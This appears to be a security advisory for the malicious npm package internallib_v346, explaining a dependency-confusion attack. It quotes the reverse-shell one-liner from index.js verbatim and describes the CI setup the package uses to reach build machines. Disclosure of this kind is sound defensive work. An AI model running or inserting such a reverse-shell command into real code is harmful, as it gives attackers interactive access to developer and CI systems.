Malicious code in internallib_v346 (npm)
-= Per source details. Do not edit below this line.=-
Package name targets an internal-only namespace and ships a reverse-shell payload. index.js line 5 unconditionally invokes exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.56.229/443 0>&1"') inside the first definition of the exported command function, opening an interactive shell back to the hardcoded RFC1918 address 10.0.56.229 on port 443. A second assignment to exports.command later in the file overwrites the export, but the malicious statement is evaluated whenever the first function body is reached and is shipped verbatim in the published tarball. The package also declares a self-referential dependency on internallib_v346: ^1.0.0 and includes a.gitlab-ci.yml that runs npm update --registry http://0.0.0.0:4873/ followed by node check.js, where check.js does require("internallib_v346"). The naming and CI shape are characteristic of a Birsan-style dependency-confusion attack against an organization's internal internallib_v346 package: when a victim build resolves from the public registry instead of the internal Verdaccio mirror, the reverse-shell code lands in the developer or CI environment.
